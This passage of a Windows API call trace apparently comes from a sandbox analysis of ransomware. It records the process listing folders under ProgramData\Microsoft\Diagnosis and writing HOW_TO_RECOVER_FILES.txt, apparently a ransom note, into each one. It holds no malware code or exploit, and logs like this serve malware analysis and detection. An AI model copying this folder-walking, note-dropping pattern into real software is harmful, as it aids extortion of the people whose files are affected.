lpFilePart=0x0) returned 0x41 [0101.993] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0101.993] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.994] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0101.994] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0101.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0101.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0101.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0101.994] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", lpFilePart=0x0) returned 0x41 [0101.994] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0101.994] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.994] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0101.994] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0101.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0101.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0101.995] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0101.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0101.995] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\scenarioshutdownlogger\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0102.071] GetFileType (hFile=0x7c0) returned 0x1 [0102.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0102.071] GetFileType (hFile=0x7c0) returned 0x1 [0102.436] WriteFile (in: hFile=0x7c0, lpBuffer=0x3790b20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x3790b20*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0102.722] CloseHandle (hObject=0x7c0) returned 1 [0102.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0102.722] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", lpFilePart=0x0) returned 0x39 [0102.722] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.723] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.724] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0102.724] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.724] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0102.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0102.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0102.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", lpFilePart=0x0) returned 0x39 [0102.724] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.724] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.724] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0102.725] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 0 [0102.725] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0102.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0102.739] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x52 [0102.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0102.739] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0102.742] GetFileType (hFile=0x7c0) returned 0x1 [0102.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0102.742] GetFileType (hFile=0x7c0) returned 0x1 [0102.743] WriteFile (in: hFile=0x7c0, lpBuffer=0x34b8cd8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x34b8cd8*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0102.744] CloseHandle (hObject=0x7c0) returned 1 [0102.744] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0102.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0102.745] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0102.745] GetFileType (hFile=0x7c0) returned 0x1 [0102.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0102.745] GetFileType (hFile=0x7c0) returned 0x1 [0102.746] WriteFile (in: hFile=0x7c0, lpBuffer=0x34bc530*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x34bc530*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0102.746] CloseHandle (hObject=0x7c0) returned 1 [0102.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0102.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore", lpFilePart=0x0) returned 0x32 [0102.747] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.747] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.747] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.747] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0102.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0102.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0102.748] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore", lpFilePart=0x0) returned 0x32 [0102.748] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.748] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.748] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.748] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0102.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0102.749] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0102.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0102.749] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\localtracestore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0102.867] GetFileType (hFile=0x7c0) returned 0x1 [0102.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0102.867] GetFileType (hFile=0x7c0) returned 0x1 [0102.868] WriteFile (in: hFile=0x7c0, lpBuffer=0x354e368*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x354e368*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0102.869] CloseHandle (hObject=0x7c0) returned 1 [0102.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0102.869] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload", lpFilePart=0x0) returned 0x2b [0102.869] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.869] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.870] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.870] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0102.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0102.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0102.870] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload", lpFilePart=0x0) returned 0x2b [0102.870] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.870] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.870] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.871] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0102.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0102.871] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0102.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0102.871] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\sideload\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0102.871] GetFileType (hFile=0x7c0) returned 0x1 [0102.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0102.871] GetFileType (hFile=0x7c0) returned 0x1 [0102.872] WriteFile (in: hFile=0x7c0, lpBuffer=0x355f270*, nNumberOfBytesToWrite=0x5d0, 